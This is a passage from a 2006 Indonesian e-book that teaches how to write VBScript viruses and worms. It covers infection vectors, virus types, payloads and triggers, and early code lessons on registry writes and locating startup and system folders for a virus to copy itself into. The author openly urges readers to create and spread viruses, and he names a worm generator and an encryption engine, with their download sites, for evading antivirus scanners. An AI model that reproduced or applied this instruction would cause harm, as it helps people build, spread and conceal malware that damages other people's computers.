63
Pemrograman Virus Menggunakan VBScript Bimbingan Orang Tua BO Oleh : Wahyu Primadi, S.Kom, S.Met © 2006. Wahyu Utilities.

Pemrograman Virus Menggunakan Vbscript

Embed Size (px)

Citation preview

Page 1: Pemrograman Virus Menggunakan Vbscript

Pemrograman Virus Menggunakan VBScript

Bimbingan Orang Tua BO

© 2006.

Oleh :

Wahyu Primadi, S.Kom, S.Met

i Wahyu Utilities.

Page 2: Pemrograman Virus Menggunakan Vbscript

Bimbingan Orang Tua BO

Editorial

Pemrograman Virus Menggunakan VBScript Copyright © 2006. Wahyu Utilities. All Rights Reserved.

No parts of this work may be reproduced in any form or by any means (graphic, electronic, or mechanical, including photocopying, recording, taping, or information storage and retrieval systems) without the written permission of the publisher. Products that are referred to in this document may be either trademarks and/or registered trademarks of the respective owners. The publisher and the author make no claim to these trademarks. While every precaution has been taken in the preparation of this document, the publisher and the author assume no responsibility for errors or omissions, or for damages resulting from the use of information contained in this document or from the use of programs and source code that may accompany it. In no event shall the publisher and the author be liable for any loss of profit or any other commercial damage caused or alleged to have been caused directly or indirectly by this document. Printed: June 2006 in Wahyu Utilities Laboratory of Sickness.

Special Thanks To : Bokin Gue [Lastrie, Amd], Komputer Gue [Lisa], Almarhum Kucing Gue [Manis], Kucing Gue [Orange], Semua Temen-Temen Residivis di STMIK Proactive Yogyakarta, Semua Temen-Temen di STMIK Sinar Nusantara Surakarta, Semua Temen-Temen di Bekasi, Semua Temen-Temen di Yogyakarta, Semua Temen-Temen di Surakarta – Solo, Semua Temen-Temen yang Pernah Gue Infeksi Komputernya, Semua Temen-Temen Nongkrong, Semua Temen-Temen Coding, dan Semua Mantan Cewek-Cewek Gue…

Author : Wahyu Primadi, S.Kom, S.Met Publisher : Wahyu Utilities Managing Editor : Wahyu Primadi, S.Kom, S.Met Technical Editor : Wahyu Primadi, S.Kom, S.Met Cover Designer : Wahyu Primadi, S.Kom, S.Met Website : http://www.wahyuprimadi.com Mobile Web : http://mobile.wahyuprimadi.com

i

Page 3: Pemrograman Virus Menggunakan Vbscript

Bimbingan Orang Tua BO

Tentang Penulis

Wahyu Primadi, S.Kom, S.Met,

adalah seorang anak muda yang bandel,

n’dablek dan penyayang kucing.

Menamatkan kuliah komputer jurusan

Sistem Informasi pada bulan Februari

2005. Semasa kuliah sering terlibat

beberapa aksi massa dan organisasi radikal yang kerap menjadi

pihak oposisi dan sering melakukan perlawanan-perlawanan

pada suatu keadaan dan keputusan yang merugikan dan

menindas rakyat banyak. Sering meneriakan “KUDETA”.

Beberapa kali terlibat kasus yang berakhir di Polsek Tangen-

Sragen, Polwil Solo, Poltabes Yogyakarta, dan bahkan pernah

berakhir di Koramil Tambun-Bekasi ☺.

Berkenalan dengan dunia komputer sejak tahun 2000 dan

bahasa pemrograman yang dikuasai adalah ASP (Active Server

Pages), PHP, VBScript, Java Script, Gambas (Linux), BASH

Scripting (Linux), Microsoft Visual Basic 6.0, Microsoft

Visual Basic .NET dan database yang pernah saya gunakan

adalah Microsoft Access Database, MySQL, Microsoft SQL

Server 2000, dan Microsoft SQL Server Desktop Engine.

Saya dapat dikontak melalui e-mail di :

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

1

Page 4: Pemrograman Virus Menggunakan Vbscript

Kata Pengantar

Puji syukur saya panjatkan kepada ALLAH SWT yang telah

memberikan kekuatan dan niat “jahat” dalam menyusun e-book

ini hingga bisa hadir dihadapan pembaca yang mempunyai

pemikiran “menyimpang”.

E-book ini ditulis sebagai referensi terhadap pengguna

komputer yang memang belum memahami apa itu virus dan

bagaimana cara membuatnya. Terlepas dari permasalahan

tersebut, pada dasarnya e-book ini dibuat untuk mereka yang

sudah mengerti akan bahasa pemrograman dan konsep

pemrograman khususnya bahasa Visual Basic atau VBScript.

Dengan e-book ini diharapkan dapat dijadikan solusi

pembelajaran dan pengetahuan buat mereka yang tadinya tidak

mengerti apa itu virus komputer dan cara membuatnya menjadi

mengerti, serta diharapkan dapat mengubah cara pandang serta

paradigma berfikir dalam menyikapi virus komputer tersebut

dan tidak lagi menjadikan virus komputer sebagai momok yang

menakutkan namun menjadikannya “mainan” serta bahan

pembelajaran.

Ok, selamat membaca, mencoba dan membuat serta sebarkan

“firman-firman” kalian dalam virus ke seluruh umat.

Solo, 13 Agustus 2006

Penulis

Bimbingan Orang Tua BO

Wahyu Primadi, S.Kom, S.Met

2

Page 5: Pemrograman Virus Menggunakan Vbscript

BAB 1

Pengenalan VBScript dan Virus

Untuk dapat mengikuti dan memahami tutorial ini anda minimal sudah harus mengerti

bahasa Visual Basic (Visual Basic 6.0, VBScript, atau Visual Basic for Application) dan

memahami konsep pemrograman (dengan Visual Basic).

1.1 Pengertian VBScript

VBScript merupakan kepanjangan dari Visual Basic Script yang mana masih

merupakan bagian keluarga dari bahasa pemrograman Visual Basic. Lalu apakah

sebenarnya VBScript tersebut? Untuk menjawab pertanyaan tersebut ada baiknya

kita menyimak definisi dari VBScript menurut Microsoft berikut :

Microsoft® Visual Basic® Scripting Edition, a subset of the Microsoft® Visual

Basic® programming language, is a fast, portable, lightweight interpreter for use in

World Wide Web browsers and other applications that use Microsoft® ActiveX®

Controls, Automation servers, and Java applets.

Pada dasarnya VBScript merupakan sebuah bahasa pemrograman script (scripting

language) yang dijalankan oleh sebuah interpreter. Windows Scripting Host (WSH

– wscript.exe) adalah salah satu program yang berperan sebagai interpreter dari

VBScript yang bertugas menjalankan dan mengeksekusi script-script VBScript.

Script VBScript dapat “ditempelkan” pada sebuah halaman web atau menjadi

sebuah file yang independent (berdiri sendiri) yang biasanya memiliki ekstensi file

*.VBS. Seperti telah dijelaskan diatas, Windows Scripting Host merupakan

interpreter VBScript yang menjalankan script-script VBScript yang disimpan pada

file *.VBS tadi. Jadi, tanpa Windows Scripting Host, VBScript tidak akan dapat

berjalan. Penjelasan mengenai Windows Scripting Host akan dibahas terpisah pada

sub-bab selanjutnya.

3

Page 6: Pemrograman Virus Menggunakan Vbscript

1.2 Mengapa VBScript ?

VBScript dipilih karena kemudahan pemahaman bahasanya dan tingkat

flaksibilitasnya yang tinggi diatas platform sistem operasi Microsoft Windows.

VBScript merupakan scripting language yang dapat dijalankan / dieksekusi secara

langsung tanpa perlu melakukan kompilasi.

Disamping itu semua, VBScript dapat memanfaatkan semua fasilitas, sumber daya,

komponen dan objek yang terdapat pada sistem operasi Microsoft Windows.

Walaupun VBScript merupakan sebuah script namun dalam penggunaannya

VBScript dapat disisipi dengan file binary seperti file executable (*.EXE) ataupun

file gambar. Masih ingat virus-virus seperti VBS.LoveLetter, VBS.Redlof,

VBS.AnnaKournikova dan lainnya, kesemua virus tersebut ditulis menggunakan

bahasa scripting VBScript.

1.3 Definisi Virus

Karena tidak adanya pendefinisian yang baku mengenai virus komputer, penulis

akan mengacu pada pendefinisian virus menurut Fred Cohen, seorang pakar virus

komputer yang mendefinisikan virus komputer sebagai berikut :

"A COMPUTER VIRUS is a computer program that can infect other computer

programs by modifying them in such a way as to include a (possibly evolved) copy

of itself. Note that a program does not have to perform outright damage (such as

deleting or corrupting files) in order to to be called a "virus". However, Cohen uses

the terms within his definition (e.g. "program" and "modify") a bit differently from

the way most anti-virus researchers use them, and classifies as viruses some things

which most of us would not consider viruses."

Dari definisi tersebut dapat dikatakan bahwa virus komputer adalah sebuah program

komputer yang memiliki kemampuan menggandakan diri, menginfeksi file atau

program lain dengan dirinya sendiri atau karakter byte acak (random), mengganggu

4

Page 7: Pemrograman Virus Menggunakan Vbscript

kinerja dari sebuah sistem komputer, kehadirannya tidak disadari dan yang jelas

tidak diinginkan ☺.

Dari penjelasan diatas, penulis harap anda dapat menggambarkan sendiri tentang

apakah virus tersebut. Karena pemahaman tentang virus tersebut adalah sebuah

modal dasar untuk mempelajari, memahami, membuat, memprogram, dan

mencegah virus untuk menginfeksi komputer anda.

1.4 Windows Scripting Host

Windows Scripting Host adalah sebuah program yang berfungsi sebagai interpreter

dari VBScript dalam lingkungan sistem operasi Microsoft Windows. Secara default,

Windows Scripting Host akan ikut terinstall saat anda menginstall sistem operasi

Microsoft Windows atau menginstall browser Internet Explorer versi 5 keatas.

Anda dapat memeriksa apakah Windows Scripting Host sudah terinstall pada sistem

Windows anda dengan cara mengetikan perintah “wscript.exe” pada dialogbox run

melalui menu “Start > Run”.

Gambar 1.1: DialogBox Run

Jika setelah mengetikan perintah “wscript.exe” tersebut tampil dialog setting

Windows Scripting Host (lihat gambar 1.2) maka Windows Scripting Host telah

terdapat dan terinstall pada Windows anda. Sebenarnya Windows Scripting Host

memiliki dua buah file inti yaitu wscript.exe dan cscript.exe, dimana wscript.exe

digunakan untuk mengeksekusi script VBScript pada lingkungan Windows,

5

Page 8: Pemrograman Virus Menggunakan Vbscript

sedangkan cscript.exe dapat digunakan untuk melakukan eksekusi script VBScript

pada lingkungan DOS.

Gambar 1.2: DialogBox Setting Windows Scripting Host

1.5 Peralatan yang Dibutuhkan

Untuk membuat program dengan VBScript yang dalam pembahasan ini adalah

pemrograman virus, VBScript tidak membutuhkan peralatan atau tools yang aneh-

aneh atau rumit. Anda hanya perlu sebuah text editor, notepad pada windows

misalnya, untuk mulai menuliskan script-script VBScript anda.

Jika notepad dirasa kurang memenuhi kebutuhan anda, anda dapat menggunakan

sebuah editor yang memang dirancang khusus sebagai editor VBScript yaitu

Adersoft VbsEdit yang dapat di-download melalui

http://www.adersoft.com/vbsedit. program tersebut merupakan program shareware

yang tidak gratis tapi crack-nya tersedia di internet. Fenomena penampakan dari

editor ini dapat anda lihat pada gambar 1.3 berikut :

6

Page 9: Pemrograman Virus Menggunakan Vbscript

Gambar 1.3: Program Adersoft VbsEdit

Selain itu juga terdapat beberapa tool program untuk menunjang pembuatan virus

menggunakan VBScript yang penulis sebut sebagai “Tools Dari Neraka” yang dapat

digunakan untuk membuat virus dengan menggunakan bahasa VBScript dan

menghindari deteksi scan antivirus, akan tetapi sabar dulu ya. Tools tersebut akan

dibahas pada bab berikutnya.

1.6 Script “Hello World”

Sebelum melangkah kepembahasan selanjutnya kita akan mencoba membuat

sebuah script program sederhana. Adapun script program yang akan kita buat

adalah sebuah program yang memunculkan MessageBox “Hello World” dan contoh

scriptnya adalah sebagai berikut :

Dim strPesan

strPesan = "Hello World"

MsgBox strPesan, VBInformation, "Percobaan"

Tulis script program tersebut dengan menggunakan editor text misalnya notepad

dan simpan hasilnya dengan ekstensi file *.VBS, pada contoh ini file script bernama

“hello-world.vbs” sehingga memiliki icon file bergambar seperti huruf “S” dengan

warna biru kehijau-hijauan seperti pada gambar berikut :

7

Page 10: Pemrograman Virus Menggunakan Vbscript

Gambar 1.4: Icon File VBS

Pada tahap ini program sudah selesai dan yang perlu anda lakukan adalah

menjalankan file script program tersebut. Untuk menjalankan script tersebut hanya

cukup melakukan klik ganda (double click) pada file script tersebut di Windows

Explorer dan hasilnya akan menampilkan sebuah MessageBox seperti terlihat pada

gambar berikut :

Gambar 1.5: MessageBox “Hello World”

1.7 Teknologi Antivirus

Memang tidak bisa dipungkiri lagi, kendala yang sering timbul dalam membuat

virus adalah antivirus yang selalu dapat mendeteksi kehadiran sebuah virus bahkan

mungkin virus yang belum dikenalnya (belum terdaftar di-database antivirus

tersebut) dengan menggunakan teknologi Heuristic Scanning dan belum lagi

teknologi Script Blocking serta teknologi SandBox yang saat ini mulai ramai

dibicarakan.

Hal tersebut merupakan hambatan terbesar yang sering terjadi dalam membuat

virus. Namun jangan patah semangat dulu, seperti telah penulis katakan

sebelumnya, keadaan ini dapat diakali dengan menggunakan tool-tool khusus yang

penulis sebut dengan “Tools Dari Neraka” yang akan dibahas pada bab berikutnya.

8

Page 11: Pemrograman Virus Menggunakan Vbscript

BAB 2

Terminologi Virus

Pada bab sebelumnya telah disinggung mengenai definisi virus secara garis besar dan

pada bab ini akan dibahas mengenai terminologi virus, jenis-jenis virus, teknik-teknik

virus dan teknologi yang biasa digunakan virus dalam melancarkan aksinya.

2.1 Bagaimana Virus Menyebar ?

Pada dasarnya virus dapat menyebar dan memasuki atau menginfeksi sistem kita

dengan berbagai cara, metode dan media. Adapun media-media yang sering

dimanfaatkan untuk penyebaran virus adalah :

• Disket / Floppy Disk / CD / Flash Disk

Walaupun sekarang sudah jamannya internet (seperti kata Telkom : “Internet

mau datang… Pake sendal biar gak kesetrum”) namun masih banyak virus yang

berkeliaran (khususnya virus lokal, yang beredar di Indonesia) memanfaatkan

media ini terutama disket dan flash disk untuk menyebarkan dirinya sendiri dan

menginfeksi komputer lain.

• Internet

Semenjak internet populer dan digunakan oleh banyak orang, banyak pula virus

yang memanfaatkan media internet untuk menyebarkan dirinya. Seperti pada

pokok pembahasan kita kali ini “Pemrograman Virus Menggunakan VBScript”,

karena VBScript dapat ditempelkan berdampingan dengan HTML maka tidak

menutup kemungkinan jika anda dapat terinfeksi ketika sedang browsing di

internet dan membuka halaman web. Bukannya saya nakut-nakutin, akan tetapi

sebuah kelompok security lokal pernah ada yang membuat Generator Virus

(berbasis HTML) VBScript untuk ditempelkan pada halaman web (HTML).

9

Page 12: Pemrograman Virus Menggunakan Vbscript

• Email

Virus menyebar melalui email dengan memanfaatkan fasilitas attachment yang

terdapat pada email tersebut. Umumnya virus yang menyebar melalui email ini

bersifat executable (dapat dieksekusi langsung) seperti file *.EXE, *.COM,

*.VBS dan lainnya yang sejenis. Untuk mengelabuhi pengguna biasanya file

virus menggunakan nama file dengan ekstensi ganda seperti: “Foto-

Cewek.jpg.exe”.

• Network (Jaringan)

Seperti media lainnya, media jaringan pun tak luput dari target serangan virus.

Telah banyak pula virus yang memanfaatkan media jaringan dan umumnya

dengan media ini virus dapat dengan cepat “berkembang biak” pada setiap

komputer yang terhubung ke jaringan tersebut. Tekniknya adalah sebagai

berikut, virus menginfeksi satu komputer dalam sebuah jaringan dan membuat

folder pada komputer tersebut lalu meng-copy-kan dirinya kedalam folder

tersebut, kemudian virus akan mengeset folder tersebut sebagai folder share

yang dapat diakses dalam sebuah jaringan dengan nama folder yang

mengundang rasa penasaran orang untuk membukanya dan menjalankan file

virus didalamnya.

2.2 Jenis-Jenis Virus

Ada banyak sekali jenis virus yang beredar saat ini. Jenis-jenis virus ini dibedakan

berdasarkan atas karakteristik virus, tipe virus, metode infeksi yang digunakan,

ruang gerak virus, dan masih banyak lagi yang lainnya. Jenis-jenis virus tersebut

diantaranya adalah sebagai berikut :

• System Sector Virus

System sector virus atau yang biasa disebut dengan nama boot sector virus atau

virus boot sector adalah sebuah virus yang menginfeksi DOS boot sector atau

Master Boot Record (MBR – juga dikenal dengan nama Partition Sectors).

Virus boot sector menginfeksi boot sector dengan cara menuliskan dirinya

10

Page 13: Pemrograman Virus Menggunakan Vbscript

sendiri atau berupa perintah yang mengarak ke dirinya sendiri ke boot sector

dari suatu disk (seperti harddisk dan disket) yang mana secara otomatis akan

diakses oleh sistem saat disk tersebut diakses.

• Virus File

Virus ini biasanya berupa program executable dan biasanya juga akan

menginfeksi file-file executable seperti file-file dengan ekstensi *.EXE atau

*.COM dengan cara menuliskan dirinya sendiri pada bagian atas (header / BOF)

dari file yang akan diinfeksi, sehingga saat anda menjalankan file program

tersebut, virus akan berjalan lebih dulu dan setelah virus selesai menjalankan

aksinya barulah dia menjalankan program aslinya.

• Macro Virus

Virus macro adalah sebuah virus yang berbentuk script visual basic yang

biasanya disebut dengan script Visual Basic for Application (VBA). Virus ini

menginfeksi dan “menempel” pada dokumen Microsoft Word, Microsoft Excel,

dan dokumen Microsoft Office lainnya.

Target utama dari serangan virus ini adalah menginfeksi file “Normal.dot”

yang merupakan file template untuk aplikasi Microsoft Word, baru setelah

tujuan tersebut tercapai selanjutnya dia akan menginfeksi dokumen-dokumen

yang dibuka pada melalui template “Normal.dot” tadi. Jadi untuk

menghentikan aksi virus jenis ini dapat dilakukan dengan cara menghapus file

“Normal.dot” yang ditemukan dan setelah itu jalankan aplikasi Microsoft Word

yang secara otomatis akan membuat file “Normal.dot” yang baru dan bersih.

Namun file-file dokumen lainnya yang telah terinfeksi akan tetap terinfeksi.

• Companion Virus

Virus jenis ini dapat menginfeksi sebuah file *.EXE tanpa mengubah satu byte

pun pada file *.EXE tersebut. Kok bisa ??? mungkin anda bertanya-tanya

bagaimana caranya. Pada dasarnya virus ini hanya menumpang berjalan dengan

11

Page 14: Pemrograman Virus Menggunakan Vbscript

file *.EXE tersebut dengan cara membuat sebuah file *.COM dengan nama

yang sama dengan file *.EXE tersebut dan dalam folder yang sama pula.

Sebagai contoh, jika anda mempunyai sebuah file *.EXE bernama

“program.exe” maka virus tersebut akan membuat file dengan nama

“program.com” yang berada satu folder dengan file “program.exe” tersebut.

File “program.com” tersebut adalah virusnya.

Seperti diketahui bahwa DOS akan menjalankan file *.COM sebelum akhirnya

menjalankan file *.BAT lalu menjalankan file *.EXE dengan nama yang sama

yang berada dalam satu folder yang sama. Kira-kira begitu urutannya (itu juga

kalo saya tidak lupa ☺). Untuk menghapusnya tentu anda sudah tahu bukan? ya,

cukup hapus file *.COM yang memiliki nama yang sama dengan dengan file

*.EXE, namun hati-hati dalam menghapusnya karena belum tentu file *.COM

yang memiliki nama yang sama dengan file *.EXE adalah sebuah virus.

• Visual Basic Worm

He… he… he… inilah target pembelajaran kita ☺. Virus jenis ini biasa disebut

dengan nama Visual Basic Worm atau Visual Basic Script Worm atau VBScript

Worm. Disebut demikian karena dibuat dengan menggunakan bahasa Visual

Basic Script (VBS) yang biasanya berupa source code / script (kode sumber /

kode program) walaupun sering juga ada yang dalam bentuk terenkripsi

(tersandi).

Seperti telah dijelaskan dalam bab sebelumnya, bahwa Visual Basic Script atau

VBScript dijalankan dengan bantuan Windows Scripting Host sebagai

interpreter-nya. Virus jenis inilah yang akan kita bahasa dan pelajari dalam e-

book ini.

12

Page 15: Pemrograman Virus Menggunakan Vbscript

• Polymorphic Virus

Polymorphic virus adalah sebuah virus yang memiliki kemampuan untuk

mengubah struktur dirinya sendiri setiap kali melakukan infeksi. Virus jenis ini

sulit sekali untuk dideteksi dengan menggunakan metode scanning biasa dan

metode checksum karena setiap copy dari virus akan tampak berbeda dari copy

lainnya.

• Stealth Virus

Virus jenis ini dinamakan dengan nama pesawat tempur buatan amerika, yaitu

stealth. Virus ini dalam menjalankan aksinya akan mengambil alih fungsi-fungsi

sistem.

• Multipartite Virus

Virus jenis ini merupakan gabungan dari virus file dan virus system sector (boot

sector). Virus ini dapat menginfeksi file dan dapat juga menginfeksi system

sector.

2.3 Tools Dari Neraka

Di internet terdapat banyak sekali tool-tool yang dapat membantu kita dalam

membuat dan mempelajari virus, terutama virus VBScript. Beberapa diantaranya

adalah :

• VBSWG (Visual Basic Script Worm Generator)

Download URL : http://www.virii.com.ar

Download URL : http://www.kvirii.com.ar

Ukuran File : ± 118 Kb

• Kefi’s VBS Encryption Engine

Download URL : http://vx.netlux.org/~kefi

Ukuran File : ± 29 Kb

13

Page 16: Pemrograman Virus Menggunakan Vbscript

VBSWG merupakan sebuah Worm Generator yaitu sebuah program pembuat virus

(worm) VBScript. VBSWG dibuat dengan menggunakan Microsoft Visual Basic.

Karena dalam distribusinya tidak disertakan Microsoft Visual Basic RunTime

Library, maka anda perlu men-download file RunTime Visual Basic tersebut dari

http://www.microsoft.com atau dapat di-download juga dari website penulis di

http://www.wahyuprimadi.com/download/20012006214446_vb6rt.exe jika belum

memiliki.

Gambar 2.1: VBSWG (Visual Basic Script Worm Generator)

Sedangkan KVEE (Kefi’s VBS Encryption Engine) merupakan sebuah program

yang berguna untuk melakukan enkripsi (penyandian) script VBScript dengan

berbagai metode yang disediakan. Sampai saat tulisan ini ditulis (08 Juni 2006)

belum ada satu pun antivirus yang dapat mendeteksi virus VBScript yang dienkripsi

menggunakan KVEE. Program ini nantinya dapat digunakan sebagai salah satu

perlengkapan perang kita ☺.

14

Page 17: Pemrograman Virus Menggunakan Vbscript

Gambar 2.2: KVEE (Kefi’s VBS Encryption Engine)

Selain itu di internet masih banyak tersedia tool-tool yang berhubungan dengan

pembahasan kita kali ini. Namun untuk tool-tool yang lain tersebut anda harus

mencarinya sendiri di internet. Usaha dong… males banget sih…!!! ☺

2.4 PayLoad Virus

Payload virus disini dapat diartikan sebagai aksi yang akan dilakukan oleh virus.

Aksi tersebut dapat berupa aksi yang sederhana yaitu hanya menampilkan pesan

sampai aksi yang benar-berar parah dan merusak seperti menghapus file-file

dokumen pada komputer host.

Yang menentukan aksi dari virus tersebut tentunya adalah pembuatnya

(programmer-nya) dan biasanya aksi dari virus memiliki pemicu (trigger) untuk

menjalankan aksi tersebut saat pemicu tersebut terpicu (triggered). Pemicu tersebut

dapat berupa tanggal, waktu, event tertentu dan lain sebagainya. Contoh algoritma

penggunaan payload dan trigger yang sederhana adalah sebagai berikut, jika

tanggal sistem menunjukan tanggal satu maka tampilkan pesan dan setelah direspon

shutdown komputer.

15

Page 18: Pemrograman Virus Menggunakan Vbscript

BAB 3

Dasar Pemrograman Virus

Pada bab ini kita akan mulai melangkah ke inti permasalahan yaitu pemrograman virus

dengan menggunakan VBScript. Namun dalam bab ini baru akan dibahas dasar

pemrogramannya saja sedangkan untuk pemrograman virus tingkat lanjut akan dibahas

pada bab berikutnya. Seperti telah disebutkan sebelumnya, salah satu syarat untuk

memahami e-book ini adalah sudah mengerti bahasa pemrograman Visual Basic atau

VBScript. Jika anda belum mengerti bahasa tersebut belajar dulu baru mebaca bab ini ☺.

3.1 Metode yang Dimiliki Virus

Dalam setiap aksinya sebuah virus memiliki beberapa metode untuk melancarkan

setiap aksinya. Metode tersebut dapat berupa aksi untuk menggandakan diri, aksi

menyebar, aksi menulis ke registry, dan aksi-aksi yang lainnya.

Untuk dapat membuat virus yang sukses, sebagai programmer virus kita harus

benar-benar memperhitungkan apa yang akan dilakukan user. Maksudnya adalah

apa yang akan membuat user tertarik sehingga menjalankan virus kita dengan atau

tanpa sadar, apa yang akan dilakukan user ketika user tersebut sadar bahwa dia

terinfeksi, apa yang akan dilakukan user untuk menghapus virus dari sistemnya, dan

lain sebagainya.

Hal-hal seperti itulah yang perlu diperhatikan demi menjamin kelangsungan hidup

virus yang anda buat. Dengan memiliki pemikiran demikian diharapkan anda sudah

mempunyai tidakan pencegahan berupa sebuah algoritma dan logika yang tertanam

pada virus jika suatu ketika ada user yang sadar telah terinfeksi dan ingin

menghapus virus anda.

3.2 Baca Tulis Registry Windows

Membaca dan menulis ke sistem registry Windows merupakan hal yang sangat

penting dalam aktivitas virus saat menjalankan aksinya. Untuk itu sebelum

16

Page 19: Pemrograman Virus Menggunakan Vbscript

melangkah lebih jauh, terlebih dahulu akan diberikan contoh dan penjelasan tentang

bagaimana caranya membaca dan menulis ke registry Windows. Agar lebih mudah

berikut akan diberikan contoh programnya :

'Program Baca Tulis Registry

Dim Tanda

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

'Baca Dari Registry

Tanda = ObjReg.RegRead("HKLM\Software\VBS.Tweety\Infeksi")

'Tulis ke Registry

ObjReg.RegWrite "HKLM\Software\VBS.Tweety\Programmer", "Wahyu"

Pada script diatas berisi contoh program bagaimana membaca dan menulis ke

registry Windows. Berikut akan diberikan penjelasan script tersebut diatas baris-

perbaris :

• 'Program Baca Tulis Registry

Baris kode tersebut merupakan sebuah komentar. Dimana sebuah komentar

diawali dengan tanda kutip tunggal (') dan komentar tersebut tidak akan

diproses oleh interpreter (gak ngaruh ke program).

• Dim Tanda

Baris script tersebut merupakan deklarasi variabel dimana perintah “Dim”

merupakan perintah untuk pendeklarasian variabel dan perintah “Tanda” adalah

variabel yang ingin dideklarasikan.

• Dim ObjReg

Sama, Merupakan perintah untuk pendeklarasian variabel. “ObjReg” adalah

variabel yang ingin dideklarasikan.

17

Page 20: Pemrograman Virus Menggunakan Vbscript

• Set ObjReg = CreateObject("WScript.Shell")

Perintah tersebut berfungsi untuk mengeset (mengisi) variabel “ObjReg”

sebagai objek dari Windows Scripting Host Shell yang ditandai dengan perintah

“WScript.Shell”. Dengan demikian variabel “ObjReg” akan memiliki fungsi-

fungsi shell Windows Scripting Host didalamnya yang dapat anda gunakan yang

pada contoh script diatas adalah baca dan tulis ke registry Windows (RegRead

dan RegWrite).

• 'Baca Dari Registry

Baris tersebut merupakan komentar, terserah anda mau tulis kata-kata apa (tetep

gak ngaruh). Ingat komentar selalu diawali dengan tanda KUTIP TUNGGAL

('). Jadi jika ada perintah yang diawali dengan tanda kutip tungga berarti

perintah tersebut merupakan sebuah komentar dan tidak akan diproses.

• Tanda = ObjReg.RegRead("HKLM\Software\VBS.Tweety\Infeksi")

Perintah tersebut berfungsi untuk mengisi variabel “Tanda” dengan value dari

registry yang dipilih (HKLM\Software\VBS.Tweety\Infeksi) yang telah ada

sebelumnya, dimana “HKLM” merupakan salah satu Key Root pada registry.

Jika value registry tersebut belum ada pada registry maka akan menyebabkan

runtime-error dan program berhenti.

• 'Tulis ke Registry

Ini juga merupakan komentar.

• ObjReg.RegWrite "HKLM\Software\VBS.Tweety\Programmer", "Wahyu"

Fungsi tersebut berfungsi untuk menuliskan nilai value ke registry Window

yang pada contoh tersebut akan menuliskan value berupa “Wahyu” pada key

“HKLM\Software\VBS.Tweety\Programmer”. Dimana “HKLM” merupakan

salah satu Key Root registry.

18

Page 21: Pemrograman Virus Menggunakan Vbscript

Gambar 3.1: Registry Editor – Menulis ke Registry

Pada script diatas telah dijelaskan cara membaca dan menulis value pada registry,

namun yang belum dijelaskan adalah bahwa pada registry terdapat beberapa Root

Key dan pada contoh diatas hanya menggunakan satu Root Key yaitu HKLM

(HKEY_LOCAL_MACHINE). Berikut akan diberikan daftar Root Key yang

terdapat pada registry :

• HKCR : HKEY_CLASSES_ROOT

• HKCU : HKEY_CURRENT_USER

• HKLM : HKEY_LOCAL_MACHINE

• HKU : HKEY_USERS

• HKCC : HKEY_CURRENT_CONFIG

Gambar 3.2: Daftar Root Key pada Registry

Untuk penulisannya, anda dapat menuliskan singkatannya (misal: HKLM) atau

kepanjangannya (misal: HKEY_LOCAL_MACHINE). Namun untuk dua Root Key

19

Page 22: Pemrograman Virus Menggunakan Vbscript

terakhir terkadang anda harus menuliskan kepanjangannya karena biasanya akan

menyebabkan runtime-error pada program yang disebabkan sistem tidak mengenali

singkatan tersebut.

PERHATIAN…!!!

Bermain-main dengan registry rentan dengan bahaya. Sebelum mulai bermain dengan registry usahakan untuk mem-backup registry Windows anda agar jika terjadi sesuatu hal yang tidak diinginkan anda dapat me-restore-nya kembali. Karena jika terjadi kesalahan dapat menyebabkan sistem Windows menjadi error atau bahkan tidak dapat berjalan sama sekali…!!!

3.3 Mendapatkan Special Folder

Dalam pemrograman virus dengan VBScript fungsi Special Folder sering kali

digunakan. Kegunaan dari fungsi ini adalah untuk mendapatkan folder-folder

system Windows, seperti folder Windows, folder WindowsSystem, dan folder

WindowsTemp. Fungsi tersebut sering digunakan untuk melakukan peng-copy-an

atau pembuatan back-up file virus ke folder-folder system tersebut. Berikut adalah

contoh penggunaannya :

Dim Target

Dim FSO

Dim FolderLain

Set FSO = CreateObject("Scripting.FileSystemObject")

Set FolderLain = CreateObject("WScript.Shell")

'Windows Folder :

Target = FSO.GetSpecialFolder(0)

'Windows System Folder :

Target = FSO.GetSpecialFolder(1)

'Windows Temp Folder :

Target = FSO.GetSpecialFolder(2)

20

Page 23: Pemrograman Virus Menggunakan Vbscript

'Folder Desktop

Target = FolderLain.SpecialFolders("Desktop")

'Folder All Users Start Menu

Target = FolderLain.SpecialFolders("AllUsersStartMenu")

'Folder Start Menu Programs

Target = FolderLain.SpecialFolders("Programs")

'Folder My Documents

Target = FolderLain.SpecialFolders("MyDocuments")

'Folder StartUp Start Menu

Target = FolderLain.SpecialFolders("Startup")

'Folder All Users Programs Start Menu

Target = FolderLain.SpecialFolders("AllUsersPrograms")

'Folder All Users StartUp Start Menu

Target = FolderLain.SpecialFolders("AllUsersStartup")

'Folder Favorites

Target = FolderLain.SpecialFolders("Favorites")

'Folder AppData

Target = FolderLain.SpecialFolders("AppData")

'Folder Recent

Target = FolderLain.SpecialFolders("Recent")

'Alamat Path Script :

Target = WScript.ScriptFullName

Dimana penjelasan dari script tersebut adalah sebagai berikut :

21

Page 24: Pemrograman Virus Menggunakan Vbscript

• Dim Target

Baris script tersebut merupakan deklarasi variabel dimana variabel yang

dideklarasikan bernama “Target”.

• Dim FSO

Sama seperti baris sebelumnya, baris ini juga merupakan deklarasi variabel dan

variabel yang dideklarasikan bernama “FSO”.

• Dim FolderLain Juga sama seperti baris sebelumnya, baris ini merupakan deklarasi variabel dan

variabel yang dideklarasikan bernama “FolderLain”.

• Set FSO = CreateObject("Scripting.FileSystemObject")

Pada baris ini variabel “FSO” yang telah dideklarasikan sebelumnya diset atau

diisi sebagai objek “Scripting.FileSystemObject”.

• Set FolderLain = CreateObject("WScript.Shell") Pada beris ini variabel “FolderLain” yang telah dideklarasikan sebelumnya diset

atau diisi sebagai objek “WScript.Shell”.

• Target = FSO.GetSpecialFolder(0)

Baris ini mengisi variabel “Target” (yang sebelumnya telah dideklarasikan pada

baris pertama) dengan sebuah value berupa alamat path folder Windows.

Penulis menggunakan sistem operasi Microsoft Windows XP SP2 dan

menginstalnya ke folder “C:\Windows”, sehingga jika script tersebut dijalankan

pada komputer penulis maka variabel “Target” akan berisi “C:\Windows”.

• Target = FSO.GetSpecialFolder(1) Sama seperti baris sebelumnya, hanya saja perintah ini akan menghasilkan

alamat path dari folde system Windows. Jika script tersebut dijalankan pada

komputer penulis maka variabel “Target” akan berisi “C:\Windows\system32”.

• Target = FSO.GetSpecialFolder(2)

Masih sama seperti baris sebelumnya, hanya saja perintah ini akan

menghasilkan alamat path dari folder temp Windows. Jika script tersebut

dijalankan pada komputer penulis maka variabel “Target” akan berisi

